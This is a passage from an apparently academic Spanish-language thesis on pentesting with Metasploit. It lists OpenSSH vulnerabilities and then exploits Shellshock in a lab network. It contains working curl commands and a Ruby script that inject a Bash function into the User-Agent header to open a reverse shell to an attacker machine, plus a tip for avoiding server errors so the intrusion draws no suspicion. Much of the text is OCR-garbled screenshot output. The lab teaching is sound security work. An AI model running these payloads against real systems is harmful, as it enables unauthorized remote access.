Descripcion El servidor SSH es anterior a la version 7.3, por lo tanto, se puede ver

afectado por las siguientes vulnerabilidades:

- Existe una vulnerabilidad de escalada de privilegios cuando la
funcion UseLogin esta habilitada y PAM esta configurado para leer
ficheros “.pam_enviroment” desde directorios home (CVE-2015-8325).

- Existen un error en las solicitudes de autenticacién donde la
introduccion de contrasefas largas con usuarios no validos tiene un
tiempo de espera mas corto que con contrasefas largas y usuarios
validos. Esto permite un ataque destinado a enumerar y obtener los
nombres de usuarios validos (CVE-2016-6210).
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- Existe una vulnerabilidad en la funcion auth_password() de
auth-passwd.c, debido a un error al limitar las longitudes de
contrasefas. Un atacante remoto no autenticado puede explotarla
para consumir CPU y realizar un ataque de denegacién de servicios
(CVE-2016-6515).

- Existe un error de funcionamiento en el orden de verificacion MAC a
la hora de verificar dicha direccion MAC antes de descifrar cualquier
texto cifrado. Un atacante remoto no autenticado puede realizar un
ataque de tiempo para revelar informacion confidencial.

Riesgo Alto CVSS v3.0 7.8

CVE CVE-2015-8325
CVE-2016-6210
CVE-2016-6515

Vulnerabilidad 96151 - OpenSSH < 7.4 Multiple Vulnerabilities
Resumen El servidor SSH esta afectado por multiples vulnerabilidades.
Descripcion El servidor SSH es anterior a la version 7.4, por lo tanto, se puede ver

afectado por las siguientes vulnerabilidades:

- Un atacante local puede explotar un error en el agente ssh a la hora
de cargar el médulo PKCS#11 de rutas no confiables. Si el atacante
tiene control sobre el socket del “forwarded agent” (socket reenviado)
y el permiso de escribir en el sistema host que ejecuta el agente ssh,
puede llegar a ejecutar codigo arbitrario (CVE-2016-10009).

- Existe un error en sshd debido al reenvio de sockets reenviados con
privilegios “root” cuando la separacion de privilegios esta
deshabilitada. Un atacante local puede explotar esta vulnerabilidad
para obtener privilegios elevados (CVE-2016-10010).

- Existe una vulnerabilidad en la funcion realloc() de sshd que puede
ser explotada por un atacante local para obtener informacién sensible
(CVE-2016-10011).

- Existe un error en el administrador de memoria compartida de sshd
utilizado en la fase de pre-autenticacion, que puede ser explotado por
un atacante local para obtener privilegios elevados
(CVE-2016-10012).

- Existe una vulnerabilidad de denegacién de servicios en sshd al
utilizar mensajes KEXINIT, que puede ser explotada por un usuario no

autenticado.

- Existe un error en sshd debido a una validacion incorrecta de los
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rangos de direcciones utilizados por las directivas AllowUsery
DenyUsers, que puede ser utilizado por un atacante local para obtener
acceso a areas que le son restringidas.

Riesgo Alto CVSS v3.0 7.3

CVE CVE-2016-10009
CVE-2016-10010
CVE-2016-10011
CVE-2016-10012

2.3.3. Shellshock

La vulnerabilidad Shellshock es conocida desde septiembre de 2014, esta ampliamente
documentada y dispone de médulos en Metasploit capaces de explotarla para obtener
acceso a los servidores remotos vulnerables [21, 23]. Es un bug que existe en Bash (GNU
Bourne Again Shell), el lenguaje de comandos existente de Unix sobre el cual los usuarios
ejecutan instrucciones que son interpretadas para ejecutar acciones internas en el sistema.

La vulnerabilidad del bug de Bash en el servidor web Apache del sistema vulnerable se
puede explotar debido a la existencia de dos funcionalidades, la primera es que los
comandos Bash también se pueden leer y ejecutar desde scripts, archivos que contienen
los comandos de consola necesarios; y el segundo es la existencia de la tecnologia web
denominada CGl.

Esta tecnologia web denominada CGI se ejecuta en el lado del servidor y esta destinada
a procesar informacién entrante, para ejecutar comandos Bash y actualizar el contenido de
la pagina web de forma dinamica. La informacion o conjunto de datos de entrada procede
de la peticion web de un cliente, el cual tiene la posibilidad de modificar las cabeceras de
sus peticiones HTTP, para enviar lineas de instrucciones que seran interpretadas como
comandos Bash por parte del servidor. De esta forma se esta consiguiendo la inyeccion y
ejecucion de codigo arbitrario.

Cabe destacar que, este bug de Bash no existe sélamente junto a los casos en los que

se utiliza la tecnologia web CGI, también se han detectado vulnerabilidades con servicios
como OpenSSH, servicios DHCP o servicios de correo.
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Capitulo 3: Explotacion de vulnerabilidades

Hemos finalizado el capitulo destinado a la deteccién y analisis de vulnerabilidades, y
nos encontramos en la etapa donde entidades no autorizadas se pueden aprovechar, o
explotar, posibles vulnerabilidades que afecten un sistema o software, para provocar un
comportamiento no deseado y obtener beneficio propio.

Esta explotacién de vulnerabilidades de un sistema o software, puede llegar a provocar la
obtencion de informacion confidencial, el acceso al sistema vulnerable, la denegacién de
servicios que ofrece el sistema u otros comportamientos no deseados; asi como la
realizacién en conjunto de varias de estas acciones.

3.1. Explotacion de la vulnerabilidad Shellshock

Nos encontramos ante un servicio web ofrecido por un servidor Apache en el sistema
remoto, sobre el cual hemos detectado la existencia de la vulnerabilidad Shellshock. Lo
primero que debemos hacer es estudiar la vulnerabilidad desde el punto de vista de la
explotacion, donde se debe determinar cudl es el conjunto de acciones conocido como
vector de ataque, que nos va a permitir aprovecharnos de esta vulnerabilidad para acceder
al sistema remoto que aloja el servidor web.

3.1.1. Analisis del servicio web vulnerable

Para conseguir explotar el servicio web vulnerable empezamos por analizar como es la
comunicacion por defecto entre el cliente (nosotros) y el servidor (sistema con servidor
Apache), y cdmo podemos modificarla para inyectar posibles acciones que se aprovechen
de la vulnerabilidad Bash de Shellshock.

El analisis de la vulnerabilidad realizada anteriormente con la herramienta Nessus, nos
ha sefialado la URL concreta que contiene el archivo CGI vulnerable. En nuestro caso se
trata de la direccién: http://192.168.100.5/cgi-bin/vuln.cgi

ﬁ KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda
o5 Applications  Places &) Firefox ESR May2 11:54

Prueba - Mozilla Firefox
O Prueba

< c @

Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB ]| MSFU @ Nessus Essentials

Informacion del host de hackersClub

Memoria

total used free shared buffers cached
Mem: 1loo0g 51 956 36 ] 36
-/+ buffers/cache: 14 993
Swap: 235 ] 235

Imagen 3.1. URL concreta del archivo CGI vulnerable en el servidor web.
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La vulnerabilidad Shellshock (CVE-2014-6271) es posible de explotar inyectando en
ciertas cabeceras de las peticiones web el conjunto de caracteres () { :;}; . Los
cuales corresponden a una regla especifica del procesador de comandos Bash destinada a
la declaracién de funciones, y, sobre la cual, existe la vulnerabilidad que nos permite
insertar de manera encadenada caracteres adicionales que seran interpretados como
comandos Bash dentro del sistema vulnerable [27, 28].

Las cabeceras web que nos permiten realizar dicha explotacion son aquellas que
contienen un conjunto de datos procedentes del cliente, y que son interpretadas por el
servidor web para generar el envio de una respuesta adecuada. Como vamos a ver a
continuacion, la cabecera web User-Agent es utilizada por el cliente para enviar informacién
al servidor web respecto al sistema operativo o navegador web utilizado.

El uso de la herramienta Wireshark [31] para capturar el trafico generado en la peticion
web que realizamos por defecto como clientes, nos ayuda a determinar como y dénde es
posible realizar la insercion de los caracteres especiales que nos van a permitir inyectar el
conjunto de caracteres que actian como comandos Bash.

Sobre el protocolo HTTP, destinado a la transmision de informacién entre los clientes y
los servidores web, se realiza una peticion GET dirigida al recurso web
/cgi-bin/vuln.cgi que pertenece al host 192.168.100.5, informaciéon ya conocida
para nosotros. Sin embargo, observar el uso de la cabecera User-Agent nos va a ayudar a
entender mejor cdmo se va a realizar la explotacion de esta vulnerabilidad, pues sobre ella
vamos a inyectar las instrucciones Bash que se ejecutan remotamente en el servidor.

ﬁ KaliLinux [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda

55  Applications  Places @ wireshark May 2 11:56

*etho
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN o mORE AenEFLEEaqaFE

(RTApply 2 display filter ... <Ctrl-/
No. Time Source Destination Protocol_Lengtt Info
10.090900000  192.168.100.4 192.168.100.5 TCP 74 35676 ~ 89 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK PERW=1 TSVAL-1489410466 TSecr=e Ws=128
2 0.099455145  192.168.100.5 102.168,100.4 TcP 74 80 - 35676 [SYN, ACK] Seq=0 Ack=1 Win=28060 Len=0 MSS=1460 SACK PERM=1 TSval=4204930017 TSecr=1480410466 WS=128
3 0.000474961  192.168.100.4 192.168.100.5 Tcp 66 35676 - 89 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1489416467 TSecr=4204930817
40. 461 GET /cgi-bin/vuln.cgl HITP/1.1
5 0.000866116  192.168.100.5 192.168.100.4 Tce 66 80 - 3566 [ACK] Seq=1 ACK=396 WINn=3008B Len= 1Sval=429493801/ [5ecr=1489410467
6 0.003550951  192.168.100.5 192.168.100.4 Tce 299 80 —~ 35676 [PSH, ACK] Seq=1 Ack=336 Win-39080 Len=233 TSval-4204938018 TSecr=1489410467 [TCP segment of a reassembled PD.
7 0.003561038  192.168.100.4 192.168.100.5 Tce 66 35676 — B9 [ACK] Seq=396 Ack=234 Win=64128 Len=@ TSval=1489410470 TSecr=4294930018
8 0.003751274  192.168.100.5 192.168.100.4 Tce 94 80 - 35676 [PSH, ACK] Seq=234 Ack=396 Win=30880 Len=28 TSval=4204938018 TSecr=1489410467 [TCP segment of a reassembled P.
9 0.003757798  192.168.100.4 192.168.100.5 Tcp 66 35676 ~ 80 [ACK] Seq=306 Ack=262 Win=64128 Len=0 TSval=1489410470 TSecr=4294930018
10 0.065125117  192.168.180.5 192.168.108.4 Tce 135 80 ~ 35676 [PSH, ACK] Seq=262 Ack=396 Win=30886 Len=69 TSval=4294930018 TSecr=1489410470 [TCP segment of a reassembled P.
11 0.005131837  192.168.100.4 192.168.100.5 Tce 66 35676 ~ BO [ACK] Seq=396 Ack=331 Win=64128 Len-@ TSval-1489410471 TSecr=4294938018
12 0.005861158  192.168.100.5 192.168.100.4 HTTP 335 HTTP/1.1 200 0K (text/html)

Frame 4: 461 bytes on wire (3688 bits), 461 bytes captured (3688 bits) on interface eth®, id @
Ethernet II, Src: PcsCompu_ee:e6:h6 (08:00:27:ee:e6:b6), Dst: PcsCompu_b9:ea:73 (08:09:27:bd:ea:T3)
Internet Protocol Version 4, Src: 192.168.100.4, Dst: 102.168.160.5
Transmission Control Protocol, Src Port: 35676, DSt Port: 83, Seq: 1, Ack: 1, Len: 395
~ Hypertext Transfer Protocol
~ GET /cgi-binfvuln.cgi HTTP/1.1vr\n
v [Expert Info (Chat/Sequence): GET /cgi-bin/vuln.cgi HTTP/1.1\r\n]
Request Method: GET
Request URI: /cgi-bin/vuln.cgi
Request Version: HTTP/1.1
Host: 192.168.100.5\r\n
User -Agent: Mozilla/b.@ (x11; LLnUX xB6_64; rv:68.8) Gecko/20180101 Firefox/68.0\r\n
Accept: text/html,application/xhtml+xnl,application/xml;q=0.9, */*;q=0.8\r\n
Accept-Language: en-US,en;g=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Referer: http://192.168.100.5/hca.htnl\rin
Connection: keep-alivern
Upgrade-Insecure-Requests: 1rin
Cache-Control: max-age=6\r\n
\r\n
[Full request URL: http://192.168.100.5/cgi-bin/vuln.cgi]
[ATTP request 171]
[Response in frame: 12]

@070 31 30 30 2e 35 6d Oa Fj
0080
elelc)
G820
08bO
@8ch

73 65 72 2d 41 67 65
74 3a 20 4d 6F 7a 69 6c 6C 61 2 35 2e 30 20
58 31 31 3b 20 4c 69 6e 75 78 20 78 38 36 5f 34
34 3b 2@ 72 76 3a 36 38 2e 38 29 20 47 65 63 6h)
6F 2f 32 30 31 30 30 31 30 31 20 46 69 72 65 66
67 78 27 36 38 2e 30 00 O EERECEECI TR ZICTY
20 74 65 78 74 2F 68 14 60 6C 2c 61 78 70 6C 69

Imagen 3.2. Captura de la peticiéon GET enviada al servidor web vulnerable.
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3.1.2. Explotacion y acceso al sistema remoto

Para comprobar que es posible realizar la inyeccién de comandos Bash y la explotacion
de la vulnerabilidad Shellshock vamos a utilizar dos herramientas. La primera es Client URL
(curl) [29], una herramienta que nos permite comunicarnos con el servidor web usando
protocolos de cliente-servidor, como es el caso del protocolo web HTTP. Esta herramienta
nos permite configurar facilmente la cabecera User-Agent deseada utilizando la orden de
entrada -A 0 --user-agent, junto a la direccion web deseada sobre la cual se va a
realizar la peticién.

La segunda herramienta utilizada es Netcat (nc) [30], una herramienta que trabaja a nivel
de red y nos permite comunicar maquinas a través de conexiones TCP o UDP. La vamos a
utilizar en esta primera fase para dejar en nuestra maquina atacante un puerto destinado a
escuchar y recibir conexiones entrantes, para después inyectar sobre la cabecera web
vulnerable, un comando destinado a abrir una conexién TCP desde el sistema vulnerable
dirigida hacia nuestra propia maquina. Este tipo de establecimiento de conexion se conoce
también como reverse_tcp.

Abrimos dos terminales en nuestro sistema Kali Linux, sobre una de ellas utilizamos la
orden de Netcat nc -1lvp 8888 destinada a mantenerse en escucha sobre posibles
conexiones entrantes (-1), en un puerto a nuestra eleccién (-p 8888) e imprimiendo la
informacion acerca del estado de las conexiones (-V).

En la otra terminal vamos a utilizar la herramienta curl para inyectar el comando
/bin/bash -c /bin/bash -i >& /dev/tcp/192.168.100.4/8888 0>&1 destinado a
ejecutar un comando bash (/bin/bash -c), que abrira una shell interactiva en el sistema
(/bin/bash -1), con una conexion TCP dirigida a nuestra maquina atacante desde la
maquina remota vulnerable (/dev/tcp/192.168.100.4/8888). Sobre la cual se han
redirigido la entrada y salida de comandos, para hacer posible el envio de instrucciones de
comandos y lectura de respuestas (>& 0>&1):

curl =A '() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.100.4/8888
0>&1' http://192.168.100.5/cgi-bin/vuln.cgi

curl -A ') { HE echo; /bin/bash -C /bin/bash -7 >&
/dev/tcp/192.168.100.4/8888 0>&1' http://192.168.100.5/cgi-bin/vuln.cgi
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/ / Escuchar conexiones TCP @\

Servidor web Apache 2.2.21 en puerto 8888
. : +
[egi-bin/vuln.cgi N 192.168.100.5 -> User-Agent:
Shellshock +
/dev/tcp/192.168.100.4/8888
fde\f!’thf’ i : : : e okup failed: Unknown host
BASH 192.168.100.4/ ERaneEt) b [10 From (UNKNOWN) [192.168.100.5] 47372
uid=1008({hca) gid=5@(staff) groups=58(staff)
Sistema o
Vulnerable Kali Linux

\ IP: 192.168.100.5 / \ IP: 192.168.100.4 J

NAT network: UOC_Network
CIDRIP: 192.168.100.0/24

Imagen 3.3. Explotacion de Shellshock para abrir una shell remota.

Ambas peticiones han inyectado correctamente las instrucciones Bash destinadas a
realizar el establecimiento de una conexion inversa, tras la declaracion de la funcién Bash
vulnerable. Sin embargo, si comparamos la respuesta del servidor web en las imagenes 3.3
y 3.4, parece ser que el servidor lanza el error web 500 Internal Server Error
cuando unicamente se inyectan en el User-Agent comandos que no tienen como fin obtener
el contenido del recurso web alojado.

En el sector de la seguridad es importante evitar, o tener conocimiento sobre si se puede
evitar, el lanzamiento de errores en el lado de los sistemas vulnerable. Para reducir la
posibilidad de levantar sospechas acerca de nuestra intrusion en el sistema, vamos a utilizar
el comando echo; al principio de nuestra secuencia de 6érdenes, lo que provoca la
respuesta 200 OK por parte del servidor web.
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i KaliLinux [Corriendo] - Oracle VM VirtualBox o X

Archivo Maquina Ver Entrada Dispositivos Ayuda
33 Applications  Places @ wireshark May2 14:03

) { :3}; /bin/bash —c /bin/bash -i > /192,168.100,4/8888 0361" http://192,168.100.5/cgi-bin/vuln, cgi 8 nc -lvp 8888
OCTYPE HTML PUBLIC "~//IETE//DTD HTML 2.0//EN"> Listening on [any] 8888
nl><head> 192.168.100.5: inverse host lookup failed: Unknown host
t1e>500 Internal Server Error</titl connect to [192.168.100.4] from (UNKNOWN) [192.168.100.5] 47370
lead><body> 1s
hi>Internal Server Error</h1> vuln.cgi
The server encountered an internal errer or
msmmgunum and was unable to complete
your request.</p>
<p>Please contact the server administrator,
louis@pentesterlab.com and inform them of the time the error occurred,
and anything you might have done that may have )
caused the error.</p>
<poMore infornation about this error may be available
in the server error log.</p>
</body></html>
a1

pud
Jvar/uem/cgi-bin

id
uid=1000(hca) gid=50(staff) groups=50(staff)
26

File Edit View Go Capture Analyze Statistics Telephony Wireless Toois Help

gty = aaal

Time Source Destination Protocol Lengtt Info
168,16 2 66 & 7 Seq=4_Ack=10 280 Len=0 Toval=1407050841 TSeor=2267235
i AOK] Seqed Acke1d WAnL65200 Loned TovaloLd7061027 Toecro2257236
v 17 TSval=2257592 TSecr=1487861627

280 Len=0 TSval=1497861626 TSecr=2257592

Roaltorl 12:36:00
102.168.100.4
19216

192 16
:sz,m.:nw!
182,166 mg‘s

197 165100 5
29 91261352440  192.168.100.5 2 © 68 o [FIN, ACK] Seq=739 Ac 80 250204 TSoer=1497086:
30 9.251372324  192.168.100.4 192.168.100.5 P 56 35770 - 80 [ACK] Seq 155 ACKL74D WnC64175 Lenco TSvaloi{aTase702 TSecr 5259204

Response Version: HITP/1.1

Status Code: 500

[Status Code Descript
Inte

T —
L Barer trier

20 15:62.23 GHTATan

he/2/2:21 (Unis) DAV/AFA

Comtent-1Longth. SBurn

Ghnnacticn gie s

G oa 77 65 65 06 08 80 I W A T G T T

© 7 wreshark_thd_20200502140222 pavkEm popng Fackats: 30 Displayed: 30 (100,0%)  Dropped: 0 (0.0%) rofie: befai

Imagen 3.4. Explotacion de Shellshock que provoca el error 500 Internal Server Error.

ﬁ Kalilinux [Corriendo] - Oracle VM VirtualBox o X

Archivo Maquina Ver Entrada Dispositivos Ayuda
Applications Places. @ wireshark May2 14:04

-t curl -A *() { echo; /bin/bash ~c /bin/bash i >& /dev/tcp/192.168.100.4/8888 0>61° http://192.168.100.5/cgi-bin/vuln.cgi :-# nc -lvp 8886

i Listening on [any] 8888 ...
19 .100.5: inverse host lookup failed: Unknown host
connect to [192.165.100.4] from (UNKNOWN) [192.168.100.5] 47372
pud
Jvar/wia/cgi-bin

id
vid=1000(hca) gid=50(staff) groups=50(staff)
e

o)

File Edit View Go Capture Analyze

=
5 )
- IEECEEEEEEEY
P
v
|
£

Statistics Telephony Wireless Tools Help

® B3+
[ Time Source Destination Frotocol Lengtt Info

16.000000000° 192 .166.100.4 197.168.160.5 e 74 35772 - 86 (8 o6 MSS=1450 SACK_PERA-E TS =0 =128

2 0.600339681 168.180.5 192.168.160.4 e 74 80 — 35772 [SYN, NSS=1460 SACK PERM=1 TSval-2291889 TSecr=1497175353 Ws=128

5 O baosatar1 107 166 1004 197/168.160 5 ce 66 35772 — 80 [ACK] S 497175354 TSecr=2291

46600191126  192.168.109.4 197.168.166 5 HITP 225 GET /cgi-bin/wuln

5 6.099519032  192.168.100.5 197.168.166.4 e R 6089 Len=8 TSval-2291890 TSecr=1497175354
5 3 TP SR S Seg=0 nincr209 o e PR A T
ce 74 8888 ~ 47317 (YN, AK] S6q=0 Ack=1 W TSval=1497175355 TSecr=229189 Ws=128
i 66 47372 - 8386 (ACK] Seq 0 TSecr=14011/5355
oS 66 Stancard query GxATia TR 100,165,182 in-n
4 NS 163 Standard query response Gxa71a No s dr arpa SOA pr iana.org
5 Tcp 70 8988 ~ 47372 [PSH, ACK] Seq=1 Ack=1 Socr-2201499
0.4 i 66 47372 ~ 8088 [ACK] Seg=1 Ack=5 Win-2
0.4 e saape silioes o
50.5 e 66 8888 ~ 47372
5 e 372 [ ! ses
4 ice 8886 [ K] Seq-18 Ack-8 Win=20312 Len=4
5 G 5 [kt Soaia Ao Vancehen. Lence Toeai—iio7i7es0s Toatrgposirs
35:00  ARP 42 Who has 197.168.160.17 Tell 192.168.100.4
6106 AP 60 192.168.160.1 15 at 52:54:00:12:35:60
o =63 Win=65280 Len=0 TSval=1497181205 TSecr=2203171
e i en-0 Tsval- TSecr=1 o
ce
HITP
P 56" [ACK) Seg-160 Ac
e 5772 . 88 [FIN, ACK] Seq
e 66 89 - 36772 [FIN, ACK] Seq
30 5 saises 102 102.168.160 5 i 66 35772 - 80 [ACK] Seq=161
@ 7 wireshark eth0 2020050214042 w3Za3S.pcapna Packets: 27 - Displaved: 27 (100.0%) Profile: Default

Imagen 3.5. Explotacion de Shellshock que no provoca error en el servidor web.

3.1.3. Automatizacién mediante script en Ruby

Ruby es un lenguaje de programacion orientado a objetos lanzado oficialmente en 1995
por Yukihiro Matsumoto [32, 33]. Es el lenguaje principal de programacion que utiliza el
framework Metasploit en todas las clases internas que representan el nucleo de su
funcionalidad, y también es usado para la definicion de los diferentes médulos destinados a
la ejecucion de exploits.

Aunque el contenido del presente script, que contiene la ejecucién automatizada de
instrucciones para la obtencion de una shell remota sobre el sistema vulnerable, va a diferir
casi completamente respecto al posterior médulo desarrollado para Metasploit; se ha

29



U Universitat Master MISTIC
o Oberta

de Catalunya Seguridad en Sistemas Operativos
Pentesting y generacion de exploits con Metasploit

elegido utilizar el presente lenguaje para empezar a familiarizarse con la declaracion de
objetos e implementacién de funcionalidades. Para ello podemos utilizar documentacion
web y foros de programacién destinados a la resolucion de dudas.

La funcionalidad realizada por el siguiente fragmento de cédigo se basa en los siguientes

pasos:

1.

w

Habilitar un hilo, o proceso ligero, en nuestra maquina atacante destinados a preparar
un servidor TCP que acepte peticiones entrantes en el puerto 8888.

En caso de recibir una peticion remota en dicho puerto, abrimos dos nuevos hilos
destinados a la lectura y envio de 6rdenes a través de la conexion TCP.

Esta transmisién TCP de 6rdenes es lo que conocemos como shell remota.

Una vez esta todo preparado debemos lanzar la peticion HTTP con el protocolo GET,
dirigida a la URL vulnerable.

Tal y como hemos comprobado previamente con la herramienta curl, modificamos la
cabecera del User-Agent para inyectar el conjunto de instrucciones que lanzaran la
conexion TCP desde la maquina vulnerable.

Finalmente esperamos a que dicha conexion inversa se establezca para obtener la
deseada shell de comandos.

Cadigo del archivo exploit_ruby_tcp.rb:

require 'socket'
require 'net/http'

# Configuramos un servidor TCP para abrir una shell remota
t

= Thread.new do
server = TCPServer.new
client = server.accept

send = Thread.new do
while (request = gets.chomp)
client.write request + "\n"
STDOUT. flush
end
end

recieve = Thread.new do
while (response = client.gets)
puts response
STDIN. flush
end
end

send.join
recieve.join

end
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# Con el servidor listo inyectamos la conexidén 1inversa

uri URI('http://192.168.100.5/cgi-bin/vuln.cgi')

req Net::HTTP: :Get.new(uri)

req['User-Agent'] = '() { :;}; echo; /bin/bash -c /bin/bash -i >&

/dev/tcp/192.168.100.4/8888 0>&1'

res = Net::HTTP.start(uri.hostname, uri.port) {|http|
http.request(req)

}

# Esperamos que llegue la conexidn a nuestro servidor TCP
t.join

En el caso de tener los paquetes correspondientes a Ruby en nuestro sistema (en el
caso de Kali Linux ya vienen preinstalados para poder ejecutar Metasploit), podemos utilizar
el comando ruby exploit_ruby_tcp.rb para la ejecucidon del codigo descrito y la
obtencion de la shell remota.

E KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo Méaquina Ver Entrada Dispositivos Ayuda
Places wireshark May5 13:02

# ifconfig | grep "inet 192"
inet 192.168.100.4 netmask 255.255.255.0 broadcast 192.168.100.255
# ruby exploit_ruby_tcp.rb
pud
/varfuwvw/cgi-bin
id
uid=1000(hca) gid=50(staff) groups=50(staff)
/sbin/ifconfig
etho Link encap:Ethernet Hwaddr o A:73
inet addr:192.168.100.5 Bcast:192.168.100.255 k:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AW @mORRB A+ EFICEQaaF

(A http [T tcp

ime Destination Lengtt Info
3 0.0008344002 168.100. 192.168.100.5 TCP EG [ACK] Seq=1 Ack 1 Win=64256 Len=0 TSval=3721839179 TSecr=526467
B P 2

5°0. 000719578

ISecr=0 WS=128
74 | A  Len=0 14¢ 1§yn1:ﬂ?§1939181 TSecr=526468 WS=128
66 W 12 Len=0 TSval=52646i 9181

9 2.488083177  192.168.160.4 192.168.160.5 76 8888 ~ 40294 [PSH, ACK] Seq=1 Ack=1 Win=65280 Len=4 TSval= S72teaie0r Toecr-520458
10 2.488546620  192.168.100.5 192.168.160.4 66 49294 — 8888 [ACK] Seq=1 Ack=5 I’ 312 Len=0 TSval=527214 TSecr=3721841667
11 2.488762757  192.168.160.5 192.168.160.4 83 49294 — 8888 [PSH, ACK] Seq=1 Ac n=29312 Len=17 TSval=527214 TSecr=3721841667
12 2.488710906  192.168.100.4 192.168.160.5 66 8888 — 49294 [ACK] Seq=5 Ack=18 Win=65286 Len=0 TSval=3721841668 TSecr=527214
13 3.853658331  102.168.100.4 192.168.160.5 69 8888 ~ 49294 [PSH, ACK] Seq=5 Ack=18 280 Len=3 TSval=3721843032 TSecr=527214
14 3.855278935  192.168.100.5 192.168.160.4 111 49294 — 8888 [PSH, ACK] Seq=18 A 1n=29312 Len=45 TSval=527624 TSecr=3721843032
15 3.855291292  192.168.160.4 192.168.160.5 66 8888 — 49294 [ACK] Seq=8 Ack=63
16 15.583008200 192.168.100.4 192.168.160.5 81 8888 — 49294 [PSH, ACK] Seq=8 Ac 280 Len=15 TSval=3721854762 TSecr=527624
17 15.584573703 102.168.100.5 192.168.160.4 883 49204 ~ 8888 [PSH, ACK] Seq=63 n=29312 Len=B17 TSval=531143 TSecr=3721854762
18 15.584586636 192.168.100.4 .100. 66 8888 ~ 49294 [ACK] Seq=23 Ack=i 5 3
19 18.931692320 102.168.160.4 & 66 38560 — 80 [FIN ACK] Seq=218 Ack=1 Win=64256 Le

! e )

s (e Aokl

33188727 1192.168.100. T G&m I
18.933196957 192 192.168.100 9294 [ACK] 5eq=24 A
23 18.933485838  192.168. mﬂ 5 192, 168.100.4 zaa HTW/i 1 200 OK

Frame 4: 283 bytes on wire (2264 bits), 283 bytes captured (2264 bits) on interface etns, i
Ethernet II, Src: PcsCompu_ee:e6:b6 (08:0:27:ee:e6:b6), Dst: PcsCompu_b9:ea:73 (98:00:27: b9:0a:7
Internet Protocol Version 4, Src: 192,168.180.4, Dst: 192.168.160.5
Transmission Control Protocol, Src Port: 38560, Dst Port: 89, Seq: 1, Ack: 1, Len: 247
Hypertext Transfer Protecol
» GET /cgi-bin/vuln.cgi HTTR/1.1\r\n

.0,deflate;q=0.6, identity;q=0.3\r\n

User-Agent: () ; echo; /bin/bash -c /bin/bash & /dev/tcp/192.168,100.4/8888 0>&1\r\n

©6a0 70 74 3a 20 2a 2f 7a 00 0a SONENCOMPERSNE pt: /°

Imagen 3.6. Ejecucidn del script ruby para la explotacion de Shellshock.

3.2. Integracion en Metasploit

Una vez hemos descubierto la vulnerabilidad y hemos comprobado que es posible
explotarla sobre el servicio web vulnerable, vamos a realizar la integracién del exploit como
un modulo de Metasploit. Para ello, es necesario comprender de previamente cual es la
arquitectura y metodologia utilizada en la herramienta Metasploit, asi como concretar la
definicion de cierta terminologia utilizada en el ambito del pentesting.
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3.2.1. Introduccion

Metasploit es uno de los frameworks mas conocidos y utilizados en el ambito de la
seguridad informatica para la realizacién de pruebas de penetracién. Es un proyecto de
codigo abierto desarrollado con el lenguaje de programacion Ruby, que ofrece la ejecucion
de exploits sobre sistemas o software vulnerable, mediante la ejecucion de una serie de
modulos documentados. Los usuarios pueden realizar esta ejecucién manteniendo un nivel
de abstraccion respecto al cédigo software, o secuencias de comandos necesarios, que son
ejecutados a bajo nivel.

Cuando mencionamos que se ofrece un nivel de abstraccion respecto al cédigo de bajo
nivel, queremos decir que los usuarios deben comprender, con un conocimiento general,
cdmo y cual es la vulnerabilidad detectada (inyeccién de cddigo, condicién de carrera,
escalada de privilegios, etc...), cdmo se va a establecer la conexiéon con el sistema o
software vulnerable (remota, local) y cuales son los médulos de Metasploit destinados a
explotar dichas vulnerabilidades.

Sin embargo, a no ser que el usuario lo desee, no llega a ser necesario que estos
comprendan exactamente sobre qué funcion, médulo, token, cabecera o cualquier otro
fragmento que forma parte del funcionamiento légico del software, o del funcionamiento
fisico en el caso de hardware, afecta exactamente una vulnerabilidad. Y, tampoco, del
cédigo, secuencia de comandos, shellcode o cualquier otra inyeccion logica, que es
necesario introducir sobre la vulnerabilidad para ser capaces de realizar comandos.

Esta misma abstraccién es posible aplicarla en la creacién de nuevos mddulos con
exploits personalizados. Podemos crear o duplicar un archivo ruby de un médulo ya
existente, renombrarlo a eleccién, insertarlo en el directorio de Metasploit que consideremos
correspondiente, y hacer uso de la herencia e importacion de objetos para invocar
funcionalidades ya existentes en Metasploit, sin la necesidad de crear cdédigo
completamente nuevo.

A lo largo del presente documento hemos mencionado el término exploit para hacer
referencia al hecho de tomar ventaja de una vulnerabilidad, e inyectar un conjunto acciones
deseadas. No obstante, esta accion de aprovecharse de una vulnerabilidad para la
realizacion de comandos, esta diferenciada mediante dos términos: exploit y payload.

Explotar, usar un exploit sobre o tomar ventaja de una vulnerabilidad, hace referencia a
la ejecucidon de acciones necesarias que nos va a abrir una puerta en el sistema, para la
posterior inyeccién de acciones que nos permitird modificar o realizar un comportamiento
sobre el software vulnerable. Si nos centramos en la vulnerabilidad Shellshock, el exploit es
la declaracion de una funcion en Bash en la cabecera User-Agent de una peticion web
sobre el archivo CGI, mientras que el payload es la posterior definicion de instrucciones que
lanzan una conexion TCP a nuestro sistema.
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Este tipo de conexiones TCP para la apertura de shells remotas se dividen en dos tipos:
bind y reverse. Las conexiones de tipo bind lanzan una peticion directamente desde la
maquina atacante sobre un puerto del sistema vulnerable para abrir dicha conexién, donde
se consigue ejecutar el exploit y payload necesarios. Por otro lado, como es en nuestro
caso con la vulnerabilidad Shellshock, en las conexiones de tipo reverse se habilita un
puerto que escucha peticiones entrantes en la maquina atacante, y se utiliza un exploit con
un payload que provocan que el sistema vulnerable sea el que establece la conexién
dirigida a la maquina atacante.

Por defecto, lo que se consigue, o se intenta conseguir, con el lanzamiento de exploits de
tipo bind o reverse, es la apertura de un canal TCP o shell de comandos remota. Esto nos
permite, segun el nivel de privilegios y en mayor o menor medida, ejecutar acciones sobre el
sistema vulnerable como si nosotros estuviéramos controlando el propio dispositivo desde
una consola de comandos.

Por otro lado, Metasploit ofrece la inyeccion de un payload sobre el sistema vulnerable
para ofrecernos lo que se conoce como Meterpreter [34, 35]. Desde el punto de vista del
